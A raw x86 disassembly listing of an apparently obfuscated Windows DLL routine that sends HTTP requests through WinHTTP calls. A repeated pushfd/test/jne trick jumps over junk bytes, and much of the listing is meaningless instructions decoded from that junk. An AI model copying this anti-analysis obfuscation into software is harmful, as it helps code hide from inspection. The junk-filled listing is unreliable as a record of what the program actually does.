jbe 0x1007f735
add dword [eax], eax
add byte [edi], cl
xchg byte [eax + ecx], ah
add byte [edx + 0xc], ch
push 0xc
lea eax, [ebp - 0xcd4]
push ebx
pushfd
test byte [0x1007ef3f], 0xa5
jne 0x1007ef40
sub dword [ebx], 0x5a
rcr byte [edx - 0x68], 1
in al, 0xc3
popal
xlatb
or dword cs:[edi + 0x4cc379d7], esi
scasd eax, dword es:[edi]
scasd eax, dword es:[edi]
jae 0x1007ee90
xchg byte [esi - 0x1103f9b2], dl
les edi, [esi - 0x64]
add dh, dh
cmc
enter 0x32d3, 0x34
aas
mov dl, 0x88
cmp dl, ch
js 0x1007ef59
inc ebp
das
lodsd eax, dword [esi]
sub ch, byte [ecx]
pop edx
fcomp dword [ebp - 0x67b5afaa]
adc cl, byte [edx - 0x16]
and dword [ebx], 0x551200bb
popfd
dec esi
popfd
mov esp, 0xb871c68c
dec edx
popal
pushfd
pop esi
xor byte [0xe5622fc0], 0xe6
jbe 0x1007ef97
add eax, 0x258d790f
pop ecx
popfd
push eax
call fcn.1011df60
push 0x103
lea eax, [ebp - 0x113]
push ebx
push eax
mov dword [ebp - 0xcd4], 3
mov byte [ebp - 0x114], bl
call fcn.1011df60
pushfd
test byte [0x1007f00c], 0x14
jne 0x1007f00d
inc dword [ebx]
add byte [eax], al
add byte [eax - 0x11363], cl
invalid
or byte [edx - 0x19ea6e82], 0x9e
mov esp, 0xa5b21393
push ebx
inc ebp
add dword [edi + 0x6c], 0xc38054e0
push eax
inc edi
dec edi
mov edx, 0x12acc730
dec esp
sub dword [ecx + 0x57], esi
push edi
xchg esi, eax
call 0x364df7e2
int 0x56
add dword [edx], eax
rcr byte [ebx + 0x1e89c15a], cl
imul eax, dword [edi], 0xc00cba68
add eax, 0xd99ceb8c
fld qword [edi + ebx + 0x52]
adc al, byte [ecx + 0x23]
push ecx
sar byte [ecx], 0x28
int1
adc al, 0xf4
pop eax
pop ds
inc ebx
pop es
clc
add al, 0x78
push ebp
dec ecx
test dword [ebp + 0x68653959], edx
mov ah, 0x5c
lea ebp, [ebx + ecx*2 - 0x1453647f]
cmp byte [ebp + 0x1f36318b], 0x9b
jnp 0x1007f000
insb byte es:[edi], dx
test eax, 0x2b77f728
inc esp
sub dword [edx], edi
jns 0x1007f015
popfd
xchg edx, eax
not dword [edx]
rcl dh, 1
int 0x39
aaa
pop ds
pop es
test eax, 0x1073e75d
cmpsd dword [esi], dword es:[edi]
xor al, 0x97
push cs
scasb al, byte es:[edi]
xchg dword [edi], ebx
insb byte es:[edi], dx
std
mov esi, dword [eax]
dec esi
or ah, byte [ebp + esi - 0x23]
popfd
lea eax, [edi + 0x108]
add esp, 0x18
les ebx, [eax]
cmp dword [eax + 0x14], 0x10
jb 0x1007f01f
mov eax, dword [eax]
push eax
pushfd
test byte [0x1007f0fd], 0x56
jne 0x1007f0fe
aas
mov eax, ds
dec eax
push esp
cmp esi, ebp
sysret
popfd
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.1012231c
add esp, 0xc
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [eax + 1]
cmp esi, 0x3fffffff
jle 0x1007f136
mov dword [ebp - 0xcd0], ebx
jmp 0x1007f257
lea eax, [esi + esi]
call fcn.101222f0
mov eax, esp
push 3
push esi
lea ecx, [ebp - 0x114]
push ecx
push eax
call fcn.10052ae6
pushfd
test byte [0x1007f24f], 0x65
jne 0x1007f250
mov ecx, 0xd82b9afd
jns 0x1007f13e
mov cl, 0x8b
sbb byte [ebp - 0x34fb58], ah
or ecx, edx
js 0x1007f1ea
push 0xa558a27c
salc
cmp eax, dword [eax*8 + 0x1a649996]
out 0x35, eax
sub eax, 0x6ddcbf5f
xchg esi, eax
cdq
sbb ah, bh
xor eax, 0xdcbf5f2d
insd dword es:[edi], dx
inc eax
sbb ecx, ebx
imul edx, dword [eax - 0x52a9c239], 0xffffff89
pop ebx
js 0x1007f119
cmp eax, dword [esi]
push ebx
jnp 0x1007f1fc
sub bl, byte [eax + 0x33]
aam 0xab
xor dword [0x4d1e86de], 0x26094f3d
and dword [ebx], esp
jl 0x1007f17a
bound cx, dword ss:[esi - 0x44]
xchg esp, eax
out 0x55, eax
push edx
push 0x9b1e4bc4
push ds
wait
sub cl, dh
fst dword [edi - 1]
mov bh, 0x15
mov cl, 0xb4
cmp al, 0xa9
push 0x3d
sbb byte [ebx + edi*2 - 0x12], dh
cmpsd dword [esi], dword es:[edi]
xchg edx, eax
popfd
lodsd eax, dword [esi]
or eax, 0x7525a835
jae 0x1007f245
sar dword [ebp + 0x1b10ccd1], cl
xchg byte [eax - 0x29131a90], dh
dec ebx
enter 0x46b0, 0xffffffffffffffbb
mov bh, ch
movsd dword es:[edi], dword [esi]
stosd dword es:[edi], eax
sbb edi, esi
adc dword [edi], eax
cmp dword [eax + 0x51a608a7], edx
into
test byte [ebp + ebp*8 + 0x5c783036], al
js 0x1007f25a
cmpsb byte [esi], byte es:[edi]
cld
cwde
jo 0x1007f1b7
insd dword es:[edi], dx
out dx, eax
sbb al, 0xef
add eax, 0x98aaf19
fcomp dword [ecx]
cld
sub byte [esi + 0x15], ch
rcl byte [eax - 0x372bf70a], cl
test byte [edx + 0x3c8ce95d], dl
sub ebp, dword [ebp - 0x2f49efe5]
std
inc ebx
lahf
adc dl, ah
fidivr word [edi]
arpl word [ebx], dx
xlatb
mov ebx, 0x1ed39781
mov al, 0x4a
push edi
cld
cmp al, 0x4f
out dx, al
das
sbb ebx, ecx
xchg esi, esp
push eax
push esi
push ds
aad 0x8a
mov dword [0x4001d417], eax
pop ss
aam 1
inc eax
add dl, bh
mov ecx, dword [ebx - 0xe]
ja 0x1007f26f
popfd
mov dword [ebp - 0xcd0], eax
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
arpl word [eax + edx], dx
push 0xc
lea eax, [ebp - 0xcd4]
push eax
push 0x26
push dword [ebp - 0xcc0]
call esi
salc
pushfd
test byte [0x1007f2d1], 0xa1
jne 0x1007f2d2
add byte [edx], 0xa
dec ebp
pop es
or byte [ecx + 0x25], bl
int3
sbb esp, dword [ebx - 0x2c]
int 0x41
sub eax, 0x3031799c
sub al, byte [ebx]
xor dword [ecx - 0x48], ebp
cmc
salc
mov al, 0x57
xor dh, byte [edx + 0x13]
xchg ebp, eax
call dword [ecx]
adc ah, byte [eax + 0x37]
sub dword [ecx - 0x3a], esi
and eax, 0xf487245
mov ebp, 0xce49c395
dec edi
xchg edx, eax
popfd
test eax, eax
jne 0x1007f367
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x124], eax
pushfd
test byte [0x1007f365], 4
jne 0x1007f366
int1
and bh, byte [edi + 0x62623d41]
rcl ecx, cl
insd dword es:[edi], dx
inc eax
adc byte [eax + 0x5a], dl
push ds
push cs
xor ebp, dword [0x90115c48]
cdq
shr dword [edx - 0x7b], 0x19
dec esp
push eax
mov ss, word [esi - 0x3a4c58b0]
xchg edx, eax
out 0x58, eax
pop esp
jno 0x1007f2a7
insb byte es:[edi], dx
sahf
dec esp
push ebx
loopne 0x1007f349
dec ebx
aas
rcl byte [ecx + 0x5c40ca8c], 0x89
sbb dword [ebx], edi
cmp esp, esp
clc
push 0x4d
fiadd word [eax]
daa
mov ah, 0x54
push eax
mov bl, 2
pop eax
push 0x65
cmpsb byte [esi], byte es:[edi]
pop edi
sbb edx, dword [edi + 0x75ab9520]
mul byte [edi + ebx*4 - 0x3950f124]
cmpsd dword [esi], dword es:[edi]
outsb dx, byte [esi]
ror esi, 1
dec esp
arpl word [edi + ebp*8 - 0x1c], ax
outsd dx, dword [esi]
push cs
scasd eax, dword es:[edi]
invalid
inc esp
out dx, eax
in al, 0x6f
mov esi, 0x9544972f
push ebx
pushfd
sub dword [ecx - 0x69], esi
out 0xb4, al
lodsd eax, dword [esi]
mov dh, 0x74
popfd
mov ecx, dword [edi + 0x174]
cmp ecx, ebx
jbe 0x1007f735
add byte [ebp + 0x16487], cl
add byte [ebx + 0xf101478], al
adc byte [esi], 1
add byte [eax], al
lea eax, [edi + 0x164]
cmp dword [eax + 0x14], 0x10
jb 0x1007f49b
pushfd
test byte [0x1007f397], 0xe9
jne 0x1007f498
adc byte [ebp + 0x38], dl
sub al, 0x9b
jge 0x1007f3d7
adc al, 0xa2
imul edx, dword [eax + 0x2c], 0xffffffad
cmp edx, dword [edx + 0x54]
call 0x3ca67492
xchg edx, eax
and al, 0x64
mov ch, 0x1f
mov esp, 0xd57a0e7
fucompi st(3)
mov esp, esp
scasb al, byte es:[edi]
aas
cmpsd dword [esi], dword es:[edi]
test byte [ebx - 0x67], dh
mov dword [0xb8b749b3], eax
jg 0x1007f352
pop esi
int 0x7a
mov ebx, 0xe2c3dd63
popal
inc ecx
xor al, 0x67
sub byte [ebx + 0x5313133f], 0xed
cdq
push ss
or ah, byte [ecx]
imul ebx, dword [esi + 0x4a], 0xd
mov edx, 0x40e71980
loopne 0x1007f374
jecxz 0x1007f41c
pop eax
xchg edx, eax
mov fs, word [ebx + 0x789cf565]
das
and al, 0x49
lodsd eax, dword [esi]
inc ebp
cwde
add byte [esi + 0x756ce9c3], ah
imul edi, dword [ecx], 0xccd6d3e
mov edx, 0x94c579a6
fmulp st(1)
mov edi, ecx
inc esi
mov cl, 0xaa
xor byte [ebx - 0x2c67925d], dh
add dl, bl
or dword [ecx - 0x639283ad], ebx
insd dword es:[edi], dx
cwde
rol dword [eax], cl
fimul dword [ecx]
cdq
push ebx
jl 0x1007f48a
insd dword es:[edi], dx
pushfd
imul eax, edx, 0xffffffe4
lodsb al, byte [esi]
xchg dl, bh
sbb esp, edi
add ebx, dword [ebx]
xchg edx, eax
pop es
cli
test byte [edi], 0x84
sbb bh, al
xchg ecx, eax
mov bl, 0xe8
xchg edx, eax
jl 0x1007f48a
xlatb
sub cl, byte [edx - 0x6d]
dec edx
xchg ebx, eax
jnp 0x1007f44b
pop ebx
inc ecx
pop esi
cmpsd dword [esi], dword es:[edi]
pop ebx
jecxz 0x1007f417
and al, 0xeb
cmc
inc esp
mov byte [ecx - 0x41f647ed], cl
call 0x6db8ee3a
or dword [esi - 0x4f061718], edi
pop ebp
loopne 0x1007f438
lsl edx, ecx
push ebp
jno 0x1007f4b4
sti
sahf
mov edi, 0x42ce972
sahf
sbb edi, dword [eax + 0x7ac0b6af]
mov cl, 0xf3
in al, 0x20
cld
jbe 0x1007f413
and dword [ebx - 0x6ad38a55], ebp
scasd eax, dword es:[edi]
pop esi
stc
in eax, 0x1d
cmp byte [eax], dh
jl 0x1007f476
sbb eax, 0x94703225
mov ebp, 0x33828261
cld
loopne 0x1007f426
wait
js 0x1007f4e1
adc al, 0x96
inc edi
les esi, [ecx]
ror byte [esi - 0x6f51208d], cl
popfd
mov eax, dword [eax]
push ecx
push eax
push 0x1002
push dword [ebp - 0xcc0]
call esi
test eax, eax
pushfd
test byte [0x1007f4e6], 0xfc
jne 0x1007f4e7
movlps xmm2, qword [0xd9c0d8a5]
pop es
fnstcw word [eax - 2]
dec ecx
xor eax, dword [eax - 0x5a6ce490]
push esi
push ss
push es
sub ecx, dword [ecx]
push 0x4e24d9f3
mov dl, 0x73
cwde
sub byte [edx + 0x4acac1eb], 0x23
xor dword [ecx], edx
int 0xb9
stosb byte es:[edi], al
push es
cmp eax, 0x56d9b822
popfd
jne 0x1007f4f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x124], eax
mov ecx, dword [edi + 0x190]
pushfd
test byte [0x1007f527], 0x16
jne 0x1007f528
cmp al, 0xbc
rol dword [ebp - 0xe], cl
mov dh, 8
push edi
mov cl, 0x56
mov dword [eax - 0x58], edi
cwde
leave
jbe 0x1007f56d
sub byte [ecx], ch
dec eax
jne 0x1007f4d2
mov ah, byte [edx]
inc ecx
cwde
salc
sbb eax, 0x9d19ad34
inc eax
pop ss
popfd
cmp ecx, ebx
jbe 0x1007f735
lea eax, [edi + 0x180]
cmp dword [eax + 0x14], 0x10
jb 0x1007f53f
mov eax, dword [eax]
push ecx
push eax
pushfd
test byte [0x1007f551], 0xb6
jne 0x1007f552
inc eax
sub ecx, dword [ecx - 0x5a]
js 0x1007f54b
cli
popfd
push 0x1003
push dword [ebp - 0xcc0]
pushfd
test byte [0x1007f665], 0x6e
jne 0x1007f666
add byte [ecx - 0x74], bl
pop ds
pop ecx
mov word [edi], ds
call dword [0xe91a29b3]
mov ch, 9
mov cl, 0xa5
sub dword [edi + edi*4 + 0x19], ecx
mov ch, 0xd0
add al, 0xf
xor bh, byte [edx]
pushal
push esp
xchg edi, eax
add al, byte [ebx]
push 0x5e861d7f
adc dword [esi - 0x51a9958d], ebx
cmpsb byte [esi], byte es:[edi]
push esi
stosd dword es:[edi], eax
insd dword es:[edi], dx
mov dh, 0xd0
scasd eax, dword es:[edi]
sbb ah, byte [edi - 0x1f]
jl 0x1007f5ba
add eax, 0x1a315958
mov bl, 0xe6
dec esp
jbe 0x1007f599
bound ebp, qword [eax - 0x4c]
dec ecx
mov edx, 0x401df03
stosb byte es:[edi], al
xchg byte [eax - 0x29], bh
push eax
pushfd
jge 0x1007f56b
mov al, 0xf9
stc
dec ebp
movsb byte es:[di], byte fs:[si]
xor byte [edi + 0x32], 0xbb
sub eax, 0x3f00fd20
or al, 0x80
cli
inc ebx
adc byte [edx + 0x6cb52e76], bh
fnstenv [ecx + 0x44]
pop ds
add bl, bl
in eax, 0x9e
mov bh, 0xbf
mov edx, 0xe8c47ac0
pop ebx
enter 0x5f28, 0xffffffffffffffb9
out dx, al
inc edx
mov cl, 0xef
sub al, 0x29
mov eax, dword [0x83df445a]
fucomi st(0)
cmpsd dword [esi], dword es:[edi]
or al, 0xa8
popal
rol ebx, cl
xchg ebx, eax
lock and byte [ebp + 0x67], ch
adc esi, 0x59cdbfe
xor esi, eax
jle 0x1007f670
mov ecx, 0x1e0920a6
or al, 0xf4
sbb al, 0x10
outsd dx, dword [esi]
aam 0xce
cwde
sub cl, byte [ecx]
scasd eax, dword es:[edi]
xlatb
mov bh, 0x46
push edx
xchg ecx, eax
in al, 0x19
sbb eax, 0xf2a205e8
int1
inc bh
mov esp, 0xe43be7d0
mov dword [edx - 0x389f5ab1], ebx
sbb ah, byte [edi + 0x21]
mov ecx, 0x738920ba
int 0xb9
ja 0x1007f674
adc ebp, dword [esp + edi*4]
and ebx, dword [eax - 0x20]
inc ecx
sbb eax, 0x53d101a3
push 0x72cd6d77
and al, 0xa4
cmc
or eax, 0xccf9f4a9
std
jecxz 0x1007f6ce
sub eax, 0x2dba7d36
popfd
call esi
test eax, eax
jne 0x1007f735
add byte [esi + esi*8 + 0x7f72705], bl
adc byte [edi + ecx + 0xa985], bl
add byte [ecx], ch
pushfd
test byte [0x1007f727], 0x9c
jne 0x1007f728
daa
test dword [edi], 0x850f9c10
test eax, 0x29000000
sub dword [edi], ecx
inc eax
inc ebx
pop ds
cmovo eax, dword [ebx + 0x1f]
cmpsd dword [esi], dword es:[edi]
out dx, al
loopne 0x1007f6df
and dh, byte [ebp - 0x56]
aaa
add byte [esi], dl
xor dl, byte [ebp + 0x42]
fbstp tbyte [esi - 0x5783921c]
out 0x40, al
inc eax
cmp al, 0xdf
mov edi, 0x32518a1f
call 0x617986fd
xor ah, byte [ecx - 0x10d6d6de]
xchg esp, eax
loop 0x1007f6f4
scasd eax, dword es:[edi]
pop ss
jae 0x1007f70a
outsb dx, byte es:[esi]
sti
popal
sub eax, 0xd72552b8
dec esi
mov eax, 0x4ed72552
and eax, 0x6b604ed7
popal
mov byte [0x24ce7601], al
stosb byte es:[edi], al
pushal
imul esp, dword [ecx - 0x5e], 1
jbe 0x1007f693
and al, 0xaa
pushfd
mov byte [ebp + 0x14b848cd], bh
and al, 0x31
xchg edx, eax
xor eax, dword [ebx + 0x61]
push esi
popal
mov dh, al
cmc
push 4
and ebp, dword [eax]
js 0x1007f69a
add byte [eax], bh
push ecx
out dx, eax
adc eax, 0x75de3738
mov ebx, 0x2fb232c8
pop eax
xlatb
mov bh, 0xaa
scasd eax, dword es:[edi]
dec edx
jg 0x1007f6bb
invalid
pop esp
pop esi
sti
scasb al, byte es:[edi]
inc ecx
push ebx
aam 0x58
sbb eax, 0xa2fa2251
jbe 0x1007f71c
push ecx
and bh, dl
mov byte [0x41401876], al
inc eax
inc ecx
xor byte [edx + 0x6f8cd185], dh
sbb dh, byte [ecx - 0x3a]
mov word [edi + 0x1a], gs
jno 0x1007f6d5
mov cl, 0x6f
mov edx, 0x2a474fd4
or byte [edx + 0x36a4910], 0x1c
leave
sbb al, 0xc9
xchg ecx, edx
jno 0x1007f6fe
jg 0x1007f6b9
into
pop edi
push esi
pop ecx
popfd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x124], eax
push ebx
pushfd
test byte [0x1007f830], 0xde
jne 0x1007f831
push dx
ja 0x1007f746
mov ch, 0x24
push 0x7d4f835e
psubsw mm1, qword [ebx + 0x65]
in al, 0xd8
loopne 0x1007f722
add byte [ebx - 0xeb2e3ca], dl
or eax, 0xb026b62a
leave
sbb eax, 0x1fb756ce
and al, 0xac
fisubr dword [edx + 0x2640fe03]
cmp esp, ecx
pop ss
jmp dword [edi + 0x48]
retf 0xb83
popfd
push ebx
push ebx
push ebx
push ebx
pushfd
test byte [0x1007f86c], 0xd0
jne 0x1007f86d
stosd dword es:[edi], eax
fcmovnb st(0), st(3)
pushal
aas
xchg esi, eax
mov edx, 0xc8260d12
js 0x1007f7ee
fidiv word [ebp + edi - 0x77]
mov ch, 0x1c
inc edx
push ebp
mov esp, 0x13f15787
pop ebx
push esp
mov ds, word [edx]
push edi
mov bl, 0xee
pop eax
xchg edi, eax
lodsd eax, dword [esi]
add eax, 0xeb45b807
int3
popfd
push ebx
push dword [ebp - 0xcc0]
pushfd
test byte [0x1007f8a8], 0x71
jne 0x1007f9a9
sahf
ffreep st(5)
inc ebx
sbb dl, dh
mov ebx, 0xdb7dde73
imul edx, edx, 0xffffffb2
dec ebp
and dword [ebx], 0xd8e3538e
adc ah, byte [ecx + edi*2 - 0x4e]
dec ecx
std
cmp al, dl
rcr dword [edx - 0x61e87952], 0x2e
mov edx, 0x48648d12
sbb al, 0xca
mov al, byte [0x10eab428]
mov dl, 0x67
bound eax, qword [eax - 0x6e]
fadd st(7), st(0)
int 0x66
mov eax, dword [0x953a7328]
adc al, 0xef
mov al, byte [0x71c7118e]
mov byte [ebx], 0x7a
pushal
mov byte [ecx + esi*2 - 0x54d86e1c], dh
das
pop ebx
lahf
cdq
aas
push edi
pop eax
mov esp, 0xc34c484c
push esi
xchg byte [esp + ecx*4 + 0x32], al
inc esi
pop edx
enter 0x2bd8, 0x4c
push 0xffffffffffffffbe
cmc
aas
sbb eax, 0x70457f60
in eax, dx
mov al, byte [0xccbea7a0]
aam 0xc7
sbb ebx, dword [ebx + 0x22]
cmp esp, dword [esi + 0x41d90c13]
mov dl, 0x6c
push eax
mov dh, 0x48
push ebp
test bl, dh
dec ebx
cmp al, 0x73
inc edx
xor al, 0xb8
fisubr dword [ecx + 0xe]
or byte [edx + ecx - 0x6a], 0xa6
mov dh, 0x6d
mov byte [ecx + 0x16], al
test dword [edx], 0x726c6a87
push 0x919307eb
cwde
fldcw word [edi + 0x8a1acd1]
arpl bp, bx
fdivp st(4)
and dword [edx], esp
and esi, ebp
push ebx
leave
insd dword es:[edi], dx
mov bh, bh
dec ecx
pop ebx
fdiv st(7), st(0)
and al, 0xf5
push ecx
sub eax, dword [eax + 0x1e]
mov ebp, 0xd5872b13
shl dword [ebp + 0x5f690c94], 1
mov cl, 0x67
xor dword [eax + 0x6f], esi
call [edx - 0x62]
cwde
push ebx
and ecx, dword [ebp - 0x7a]
inc ebx
mov eax, dword [edx - 0x4b4d11e]
or cl, al
and al, 0x4b
mov edi, 0x5fba6e0a
stosd dword es:[edi], eax
pop ss
xor dword [0x3d69ed5f], ebp
xor al, 0xc8
mov byte [ecx], bl
salc
add edx, eax
out 0x58, eax
popal
call 0x53a43b72
xchg edx, eax
jecxz 0x1007f9fa
sbb eax, 0xe701695f
xchg edi, eax
loopne 0x1007fa0e
int3
popfd
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x1007f9c5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WinHttpSendRequest_Error1:_d
jmp 0x1008787d
mov eax, dword [edi + 0xe4]
cmp eax, ebx
je 0x1007fc9b
pushfd
test byte [0x1007fa0d], 0xd2
jne 0x1007fb0e
int3
lodsd eax, dword [esi]
ja 0x1007fa5a
and ah, byte [esp + esi]
and al, 0x34
xchg esp, eax
arpl bx, bp
jo 0x1007f9f9
xchg dword [eax + 0x62], ecx
mov eax, 0x61ff617f
or dl, al
sub eax, 0x28b651cb
jg 0x1007fa68
jmp dword [ecx + 0xa]
mov dh, 0x28
int1
or eax, 0xa7e8996c
push ebx
add bl, 0x58
js 0x1007fa69
xor eax, 0x160c18
sub byte [edi + ebx*2], 0xc9
aas
xchg ebp, eax
imul dword [ebx]
js 0x1007fa89
shr byte [ebx - 0x43], 1
or bl, byte [edi + 0x4e040d34]
jl 0x1007f9f6
movsb byte es:[edi], byte [esi]
and eax, 0x583302a1
cmp bl, byte [ebp + 0x63]
push edx
sbb byte [ecx + esi*4 + 0x36], cl
jle 0x1007fac4
push ss
jae 0x1007fa05
fbld tbyte [ecx]
aaa
call 0x1b603427
xchg ebp, edi
cld
std
sbb edx, dword [ebp + 0x71]
pop eax
or eax, dword [edi + 0x1bfdfcfd]
push ebp
jno 0x1007fad9
jle 0x1007fa51
cmc
jmp dword [edx - 0x3914196e]
pop ds
fidiv word [esi]
cdq
mov ch, 0x9b
lds ebx, [edi + ecx*2 + 0x39]
test eax, 0xff660aa5
mov bl, 0xfc
xlatb
inc edx
dec eax
xchg edx, eax
mov bl, 0xfa
xchg edi, edx
sahf
aam 0x17
imul esp, dword [ecx + eax*2 + 0x72], 0xf133035d
pop ebp
add esi, dword [ebx]
int1
insb byte es:[edi], dx
jbe 0x1007fae1
dec eax
xchg dword [edx + 0x5f], eax
in al, 0x5d
and dword [esi + 6], edi
mov eax, dword [0xaf270a0e]
sbb dword fs:[ebp - 0xe39d0fe], 0xffffffc9
dec esp
add ch, byte [esi + eax*8 - 0xe3cf6db]
mov esi, 0x9ac8e8fe
test al, 0x5d
mov ah, 0x95
cmp eax, dword [ebx + edi]
shr byte [ebp + 0x75fa3a25], 1
jge 0x1007fb0d
pop edx
jae 0x1007fb2b
ret 0x6473
aas
stosb byte es:[edi], al
aas
mov dword [0x66eb0293], eax
outsd dx, dword [esi]
cmp ebx, dword [edx - 0x30]
into
test eax, 0x6a932a13
neg ch
push cs
push 0xfffffffffffffff6
fisttp qword [esi]
pop edi
adc ch, al
pop es
mov ds, edi
salc
insb byte es:[edi], dx
push cs
pop esi
fldenv [ecx - 0xc4c4851]
pop ecx
pop ecx
sti
xchg edx, eax
les ebx, [ebp + 0x4d]
mov ebp, 0xf7575721
cwde
xchg ecx, eax
adc ecx, dword [esi + eax*8 + 0x1d463c69]
out 0x9b, eax
inc edx
push ecx
or edx, dword [eax - 0x2dbd2a5]
xchg edi, eax
popfd
lea ecx, [ebp - 0xcf4]
push ecx
push dword [edi + 0xe8]
mov dword [ebp - 0xcf4], ebx
pushfd
test byte [0x1007fb8a], 0xd0
jne 0x1007fb8b
pop edi
push esp
mov dword [edi], ebp
and al, 0x77
mov dh, 0x3f
jo 0x1007faed
pop esp
cdq
mov ecx, 0x94535ec7
add al, 0x33
in eax, dx
pop eax
popfd
in al, dx
sub al, 0x3e
xchg edi, eax
imul ebx, dword [ebx + 0x26], 0xffffffd3
pop eax
sti
lodsd eax, dword [esi]
or dh, cl
mov dh, 0xfa
fild word cs:[ebp - 0x4835414e]
int 0x60
shr dword [edi - 0x64e0cc80], 1
cmp byte [esi - 0x4d], dh
popfd
inc eax
lds edx, [ebp - 0x64d3524c]
jmp dword [esi - 0x696e737]
popfd
push eax
push dword [ebp - 0xcc0]
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
test eax, eax
jne 0x1007fc9b
pushfd
test byte [0x1007fc66], 0x8f
jne 0x1007fc67
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
dec ebp
add byte [ebx - 0x13], ah
cmp al, 0xdd
test byte [edi - 0x681aab88], al
in al, dx
int1
and byte [ebp - 0x718483b], ah
xor al, 0x72
pop eax
shl dword [0xb1b8682], cl
mov ch, 0x7d
stosb byte es:[edi], al
add bl, byte [eax]
movsb byte es:[edi], byte [esi]
cld
push edx
pop ecx
lodsb al, byte [esi]
inc dword [ecx + edi*2 - 0x6eedd4c6]
lodsd eax, dword [esi]
or ah, byte [edx + 0x30]
int3
popfd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WinHttpWriteData_Error:_d
push ebx
push ebx
pushfd
test byte [0x1007fc8b], 0xa6
jne 0x1007fc8c
int3
popfd
mov dword [edi + 0x124], eax
call fcn.10049c0c
add esp, 0x10
push ebx
push dword [ebp - 0xcc0]
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
arpl word [eax + edx], dx
test eax, eax
je 0x1008749c
push ebx
lea eax, [ebp - 0xcbc]
push eax
push ebx
push ebx
pushfd
test byte [0x1007fd51], 0xa
jne 0x1007fd52
pop esp
out dx, al
sal byte [ecx], cl
or al, 0x81
mov eax, 0x62420037
rcl byte [ebx - 0x6d67698e], 0x9b
pop eax
leave
inc esp
or ch, byte [ebp + 2]
adc byte [eax + ecx*2 - 0x62], 0xb
pop ss
push esp
dec eax
sahf
or edx, dword [edi]
outsb dx, byte [esi]
lds esi, [esi - 0x61cb1dfd]
push es
xchg edx, eax
cdq
fimul word [edi + 0x7bd13708]
sal dword [edi - 0x54], cl
jnp 0x1007fcca
ja 0x1007fca5
push es
inc esi
fmulp st(5)
fcmovbe st(0), st(4)
adc al, byte [edx - 0x6df34155]
jle 0x1007fd1c
push ebp
loopne 0x1007fd31
push esp
inc esi
and ch, byte [eax + ebx*8 + 0x30de014d]
add esi, dword [ecx]
cmc
or dword [esi + 0x14f73b34], ebp
je 0x1007fcf5
pop ebx
add al, 0x4d
stosb byte es:[edi], al
sbb eax, 0x1b66813d
test al, 0xc4
in al, 0x53
push ebx
cmpsb byte [esi], byte es:[edi]
and eax, 0xc4302eb9
xor ah, al
not dword [ebx + esi - 0x65]
cmp esp, ecx
mov dl, 0x4f
push 0xfffffffffffffff3
push edx
fcmove st(0), st(7)
aaa
push ebx
loop 0x1007fd69
jno 0x1007fce1
insb byte es:[edi], dx
push 0xf7141a44
push 0x1a
fisub dword [edi]
xlatb
pop ds
popfd
push 0x16
push dword [ebp - 0xcc0]
mov dword [ebp - 0xcbc], ebx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
cmp eax, ebx
jne 0x1007fddd
call dword [sym.imp.KERNEL32.dll_GetLastError]
pushfd
test byte [0x1007fdd2], 0x8d
jne 0x1007fdd3
jecxz 0x1007fd2c
xchg ebx, eax
push ds
xchg ebp, eax
cmpsd dword [esi], dword es:[edi]
push 0x47b0ff28
mov ebx, 0x2cd4a38
fnstsw word [ebx]
cdq
mov eax, dword [0xf3b09f00]
mov eax, 0x7cb65ca5
add byte [esi - 0xb], ah
repe scasb al, byte es:[edi]
mov ah, 8
packuswb mm6, qword [edx - 0xcbcfc15]
mov ecx, 0x7265fafe
jne 0x1007fde1
int 0x92
inc eax
add al, 0xde
mov eax, dword [0x5a0524ec]
and eax, 0xaafc2685
jg 0x1007fd80
out 0x8d, al
or dh, byte [edx + 0x2c63554d]
int 0xb6
sub edi, dword [ecx - 0x723a9607]
outsd dx, dword [esi]
mov al, 0x9c
jo 0x1007fddb
popfd
cmp eax, 0x7a
jne 0x10086d51
add byte [eax], al
mov eax, dword [ebp - 0xcbc]
pushfd
test byte [0x1007feb8], 0x46
jne 0x1007feb9
invalid
and dword [ebp*4 + 0x3cb56522], esp
mov eax, dword [0x759ddb80]
mov al, byte [0xa7412a68]
sbb esi, 0x4f
mov ebp, 0xc6b9e1c
sar byte [ebx], 0x39
push es
or esp, dword [ebp + 0x27]
out 0, al
xchg dword [edi + 0x20], edx
bound ebx, qword [ecx + ebx*4]
dec ebx
mov edx, 0xca8ddb1a
in eax, 0xd4
inc ecx
idiv byte [edi + 0x7b3f9c27]
sbb bl, bh
movsb byte es:[edi], byte [esi]
push 0x56
pop ds
xor bl, byte cs:[ebx]
jne 0x1007fe7f
sbb dword [edi + 0x25ca78f1], 0xfffffff1
clc
xchg edx, eax
push 0x21ef650e
sahf
les edx, [eax + 0x52eef7fc]
and al, 0x43
aaa
rcl bl, cl
sub cl, byte [eax + 0x678fb7fd]
cmp byte [ecx + 0x2ac00d34], bl
push edi
mov bh, 0x8f
cmp byte [bx + di + 0xd34], bl
shr byte [edx], 0x57
out 5, al
xchg ecx, eax
stc
dec edx
mov esp, 0x2b2c386d
inc esp
xchg ecx, eax
popfd
mov ebp, 0x1cac62d
pushfd
cmpsb byte [esi], byte es:[edi]
lahf
xchg dword [ecx + 0x1c], esp
stosd dword es:[edi], eax
popal
sbb al, 0xab
fdiv qword [edx]
insd dword es:[edi], dx
mov bl, 0xf
push esi
out 0xc1, al
int1
sub dh, byte [esi]
imul edx, dword [eax + 0x7d], 0x449db73a
mov dl, 0x2f
jbe 0x1007fec8
out dx, eax
je 0x1007fe51
and ecx, edi
les ebp, [edi]
adc eax, 0x25b3b792
xor dword [edi + 0x59], eax
les edi, [edx - 0x2c]
and eax, 0xc4594731
jp 0x1007fe71
adc al, 0xc9
mov byte [esi], ch
jno 0x1007fefb
